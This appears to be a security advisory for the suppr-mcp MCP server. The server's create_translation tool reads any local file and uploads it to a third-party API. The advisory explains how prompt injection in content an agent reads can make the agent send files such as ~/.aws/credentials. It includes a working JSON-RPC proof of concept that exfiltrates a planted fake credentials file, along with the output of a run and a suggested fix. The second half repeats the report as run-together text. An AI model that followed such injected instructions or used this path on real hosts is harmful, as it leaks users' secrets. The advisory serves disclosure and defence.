Summary
suppr-mcp (WildDataX/suppr-mcp) exposes an MCP tool create_translation whose file_path argument is read from the local filesystem with no path validation and then uploaded as multipart/form-data to a third-party endpoint (https://api.suppr.wilddata.cn/v1/translations).
The combination of these two behaviours — caller-controlled absolute path + automatic upload off-machine — gives an attacker who can influence the MCP client (typically via prompt injection in the agent's input) a one-shot arbitrary-local-file exfiltration primitive. Any file the server process can read (SSH keys, cloud credentials, ~/.aws/credentials, ~/.config/gh/hosts.yml, ~/.npmrc, source code, customer data) can be sent to wilddata.cn with a single tool call.
The contents are also retrievable by the same MCP client through get_translation(task_id) and list_translations(), which return download URLs that point to the originally uploaded file (and a machine-translated rendering of it).
Affected component
- Repository: https://github.com/WildDataX/suppr-mcp
- npm package name:
suppr-mcp, version 1.1.7 at the time of report (per src/index.ts)
- Distributed via
package.json and Smithery (smithery.yaml present)
- Tool:
create_translation registered in src/index.ts lines 33–77, backed by SupprClient.createTranslation in src/client.ts lines 30–83.
Root cause
src/client.ts:
import { readFileSync } from "fs";
import { basename } from "path";
...
async createTranslation(params: { file_path?: string; file_url?: string; ... }) {
const formData = new FormData();
if (params.file_path) {
const fileBuffer = readFileSync(params.file_path); // <-- arbitrary path
const blob = new Blob([fileBuffer]);
formData.append("file", blob, basename(params.file_path));
} else if (params.file_url) {
...
}
...
const response = await fetch(`${this.baseURL}/v1/translations`, {
method: "POST", headers: { Authorization: `Bearer ${this.apiKey}` },
body: formData, // <-- shipped to api.suppr.wilddata.cn
});
...
}
src/index.ts:
server.registerTool('create_translation', {
inputSchema: {
file_path: z.string().optional().describe(
'Local file path to translate (mutually exclusive with file_url)'),
file_url: z.string().optional().describe(...),
...
},
async ({ file_path, file_url, ... }) => {
const result = await supprClient.createTranslation({ file_path, ... });
...
});
There is no filename / extension whitelist, no project-root containment check, and no per-request user confirmation. The MCP tool's schema documents file_path only as "Local file path to translate", which makes prompt-injection-driven misuse trivial.
Impact
The MCP server typically runs as the desktop user that owns the agent / IDE session. Under that uid the attacker can:
- Exfiltrate any locally readable file to
api.suppr.wilddata.cn with a single create_translation call. The full file contents are POSTed to a third-party endpoint controlled by wilddata.cn.
- Retrieve the exfiltrated content back through the MCP server using
get_translation(task_id) or list_translations(), which return URLs pointing to the original uploaded file (and to a translated rendering of it). Even when the attacker has no direct network reach to wilddata.cn, the LLM agent does, so the round-trip closes inside the same prompt-injection chain.
- Bypass DLP / egress controls for installations that allow outbound traffic to
*.wilddata.cn (the documented suppr.ai endpoint) but block other destinations. The exfiltration channel is the documented translation endpoint, not a side channel.
- Persist data in a third-party tenant. Even if the attacker never recovers the file, it has now been stored by
wilddata.cn against the operator's API key, which is a meaningful confidentiality breach for many threat models (regulated data, customer documents, credentials).
This is exploitable in the standard "prompt-injection via untrusted content" threat model: an attacker delivers content (web page, document, README, ticket, email) that the agent processes; the content instructs the model to call create_translation with file_path set to a chosen target (e.g. ~/.aws/credentials).
CWE / classification
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-918: Server-Side Request Forgery is not what this is — the request goes to the documented vendor endpoint, but the body of the request is attacker-chosen file content.
- Suggested severity: High. Triggering requires a single tool call; the resulting confidentiality breach is total for any file the server can read; data also leaves the operator's trust boundary.
Reproduction
The PoC below speaks raw JSON-RPC over the server's stdio transport. It sets SUPPR_API_KEY to a stub value so the server starts, then issues a create_translation call with file_path pointing at an attacker-chosen file on the host. The PoC asserts that readFileSync was invoked against that path (visible as a fetch POST to api.suppr.wilddata.cn containing the file body); it does not require a real Suppr API key, and it does not require the request to succeed at the wilddata.cn end — the local read + outbound request are themselves the vulnerability.
Build and run
# 1. Clone, install (incl. devDeps for the build step), and build dist/
git clone https://github.com/WildDataX/suppr-mcp /tmp/suppr-poc
cd /tmp/suppr-poc
npm install --silent
npm run build --silent
# 2. Plant a "sensitive" file to exfiltrate
echo 'aws_access_key_id = AKIAFAKEPOC' > /tmp/fake_aws_creds.txt
# 3. Save the PoC client (next code block) as poc.mjs in the clone, then run it
node poc.mjs /tmp/suppr-poc
poc.mjs:
#!/usr/bin/env node
// PoC: local-file exfiltration via suppr-mcp's create_translation tool.
//
// Spawns the server with `fetch` monkey-patched so the outbound POST to
// api.suppr.wilddata.cn is *captured locally* rather than sent. This
// proves the read+upload primitive without involving wilddata.cn at all.
//
// Usage: node poc.mjs <path-to-suppr-mcp-clone>
import { spawn } from "node:child_process";
import { writeFileSync, readFileSync, existsSync } from "node:fs";
import { resolve } from "node:path";
const CLONE = process.argv[2] || process.cwd();
const TARGET_FILE = "/tmp/fake_aws_creds.txt";
const CAPTURED = "/tmp/suppr_poc_captured.txt";
if (!existsSync(TARGET_FILE)) {
writeFileSync(TARGET_FILE,
"aws_access_key_id = AKIAFAKEPOC\naws_secret_access_key = +FAKE+POC+SECRET+\n");
}
// Wrapper that monkey-patches global fetch and then hands off to the
// real server entry (suppr-mcp's dist/index.js, shipped in the repo).
const wrapperPath = resolve(CLONE, "poc_wrapper.mjs");
writeFileSync(wrapperPath, `
import { writeFileSync } from "node:fs";
const origFetch = globalThis.fetch;
globalThis.fetch = async (url, init) => {
if (String(url).includes("api.suppr.wilddata.cn")) {
let captured = "(no body)";
try {
const fd = init?.body;
if (fd && typeof fd.entries === "function") {
const parts = [];
for (const [k, v] of fd.entries()) {
if (v && typeof v === "object" && typeof v.text === "function")
parts.push(\`-- field \${k} (\${v.size} bytes):\\n\${await v.text()}\`);
else parts.push(\`-- field \${k}: \${v}\`);
}
captured = parts.join("\\n");
}
} catch (e) { captured = "(read error: " + e + ")"; }
writeFileSync("${CAPTURED}", String(url) + "\\n\\n" + captured);
return new Response(JSON.stringify({code:0, msg:"ok", data:{task_id:"poc-task-1"}}),
{status:200, headers:{"content-type":"application/json"}});
}
return origFetch(url, init);
};
process.env.SUPPR_API_KEY = process.env.SUPPR_API_KEY || "sk-FAKEPOC";
await import("${resolve(CLONE, "dist/index.js")}");
`);
const proc = spawn("node", [wrapperPath], {
cwd: CLONE, stdio: ["pipe", "pipe", "inherit"],
env: { ...process.env, SUPPR_API_KEY: "sk-FAKEPOC" },
});
const send = (m) => proc.stdin.write(JSON.stringify(m) + "\n");
const lines = []; let buf = "";
proc.stdout.on("data", (chunk) => {
buf += chunk.toString();
let i; while ((i = buf.indexOf("\n")) !== -1) {
const line = buf.slice(0, i); buf = buf.slice(i + 1);
if (line.trim()) lines.push(line);
}
});
async function recv() {
for (let n = 0; n < 200; n++) {
if (lines.length) return JSON.parse(lines.shift());
await new Promise(r => setTimeout(r, 50));
}
throw new Error("no response from MCP server in 10s");
}
send({ jsonrpc: "2.0", id: 1, method: "initialize",
params: { protocolVersion: "2024-11-05", capabilities: {},
clientInfo: { name: "poc", version: "0" } } });
await recv();
send({ jsonrpc: "2.0", method: "notifications/initialized" });
send({ jsonrpc: "2.0", id: 2, method: "tools/call",
params: { name: "create_translation",
arguments: { file_path: TARGET_FILE, to_lang: "en" } } });
console.log("create_translation response:", JSON.stringify(await recv(), null, 2));
proc.stdin.end(); await new Promise(r => setTimeout(r, 500)); proc.kill();
console.log("\n--- captured upload (would have gone to api.suppr.wilddata.cn) ---");
try { console.log(readFileSync(CAPTURED, "utf8")); }
catch (e) { console.error("FAIL: no upload captured →", e.message); process.exit(1); }
Observed result
Running the PoC against a fresh clone, with the planted /tmp/fake_aws_creds.txt as the target file:
$ node poc.mjs /tmp/suppr-poc
Suppr MCP Server running on stdio
create_translation response: {
"result": {
"content": [
{
"type": "text",
"text": "{\n \"task_id\": \"poc-task-1\"\n}"
}
]
},
"jsonrpc": "2.0",
"id": 2
}
--- captured upload (would have gone to api.suppr.wilddata.cn) ---
https://api.suppr.wilddata.cn/v1/translations
-- field file (32 bytes):
aws_access_key_id = AKIAFAKEPOC
-- field to_lang: en
The captured upload shows that suppr-mcp opened /tmp/fake_aws_creds.txt, read its contents, packed them into a multipart file field, and was about to POST them to https://api.suppr.wilddata.cn/v1/translations. The monkey-patched fetch intercepted the request locally so no traffic actually left the host — the read + outbound assembly are themselves the vulnerability. With the patch removed, the same request reaches wilddata.cn and is retrievable via get_translation / list_translations.
Expected result
create_translation should reject any file_path that, after resolution, does not lie inside an operator-configured allow-list (for example, a single directory specified via env var). Equally defensible: drop file_path entirely and require file_url, so the agent has to explicitly stage the document somewhere it is willing to have exfiltrated.
Suggested fix
- Add an operator allow-list for
file_path:
const ALLOW_ROOT = process.env.SUPPR_MCP_ALLOWED_ROOT;
if (params.file_path) {
if (!ALLOW_ROOT) throw new Error(
'file_path uploads disabled (set SUPPR_MCP_ALLOWED_ROOT to enable).');
const resolved = path.resolve(params.file_path);
if (!resolved.startsWith(path.resolve(ALLOW_ROOT) + path.sep))
throw new Error('file_path escapes SUPPR_MCP_ALLOWED_ROOT.');
...
}
- Update the tool schema description to make the policy explicit so the model doesn't try to dereference paths outside the allow-list.
- Consider also requiring an extension/size cap, and logging every upload locally so the operator can audit what left the host.
Summary
suppr-mcp(WildDataX/suppr-mcp) exposes an MCP toolcreate_translationwhosefile_pathargument is read from the local filesystem with no path validation and then uploaded as multipart/form-data to a third-party endpoint (https://api.suppr.wilddata.cn/v1/translations).The combination of these two behaviours — caller-controlled absolute path + automatic upload off-machine — gives an attacker who can influence the MCP client (typically via prompt injection in the agent's input) a one-shot arbitrary-local-file exfiltration primitive. Any file the server process can read (SSH keys, cloud credentials,
~/.aws/credentials,~/.config/gh/hosts.yml,~/.npmrc, source code, customer data) can be sent towilddata.cnwith a single tool call.The contents are also retrievable by the same MCP client through
get_translation(task_id)andlist_translations(), which return download URLs that point to the originally uploaded file (and a machine-translated rendering of it).Affected component
suppr-mcp, version1.1.7at the time of report (persrc/index.ts)package.jsonand Smithery (smithery.yamlpresent)create_translationregistered insrc/index.tslines 33–77, backed bySupprClient.createTranslationinsrc/client.tslines 30–83.Root cause
src/client.ts:src/index.ts:There is no filename / extension whitelist, no project-root containment check, and no per-request user confirmation. The MCP tool's schema documents
file_pathonly as "Local file path to translate", which makes prompt-injection-driven misuse trivial.Impact
The MCP server typically runs as the desktop user that owns the agent / IDE session. Under that uid the attacker can:
api.suppr.wilddata.cnwith a singlecreate_translationcall. The full file contents are POSTed to a third-party endpoint controlled bywilddata.cn.get_translation(task_id)orlist_translations(), which return URLs pointing to the original uploaded file (and to a translated rendering of it). Even when the attacker has no direct network reach towilddata.cn, the LLM agent does, so the round-trip closes inside the same prompt-injection chain.*.wilddata.cn(the documented suppr.ai endpoint) but block other destinations. The exfiltration channel is the documented translation endpoint, not a side channel.wilddata.cnagainst the operator's API key, which is a meaningful confidentiality breach for many threat models (regulated data, customer documents, credentials).This is exploitable in the standard "prompt-injection via untrusted content" threat model: an attacker delivers content (web page, document, README, ticket, email) that the agent processes; the content instructs the model to call
create_translationwithfile_pathset to a chosen target (e.g.~/.aws/credentials).CWE / classification
Reproduction
The PoC below speaks raw JSON-RPC over the server's stdio transport. It sets
SUPPR_API_KEYto a stub value so the server starts, then issues acreate_translationcall withfile_pathpointing at an attacker-chosen file on the host. The PoC asserts thatreadFileSyncwas invoked against that path (visible as afetchPOST toapi.suppr.wilddata.cncontaining the file body); it does not require a real Suppr API key, and it does not require the request to succeed at the wilddata.cn end — the local read + outbound request are themselves the vulnerability.Build and run
poc.mjs:Observed result
Running the PoC against a fresh clone, with the planted
/tmp/fake_aws_creds.txtas the target file:The captured upload shows that
suppr-mcpopened/tmp/fake_aws_creds.txt, read its contents, packed them into a multipartfilefield, and was about to POST them tohttps://api.suppr.wilddata.cn/v1/translations. The monkey-patchedfetchintercepted the request locally so no traffic actually left the host — the read + outbound assembly are themselves the vulnerability. With the patch removed, the same request reaches wilddata.cn and is retrievable viaget_translation/list_translations.Expected result
create_translationshould reject anyfile_paththat, after resolution, does not lie inside an operator-configured allow-list (for example, a single directory specified via env var). Equally defensible: dropfile_pathentirely and requirefile_url, so the agent has to explicitly stage the document somewhere it is willing to have exfiltrated.Suggested fix
file_path: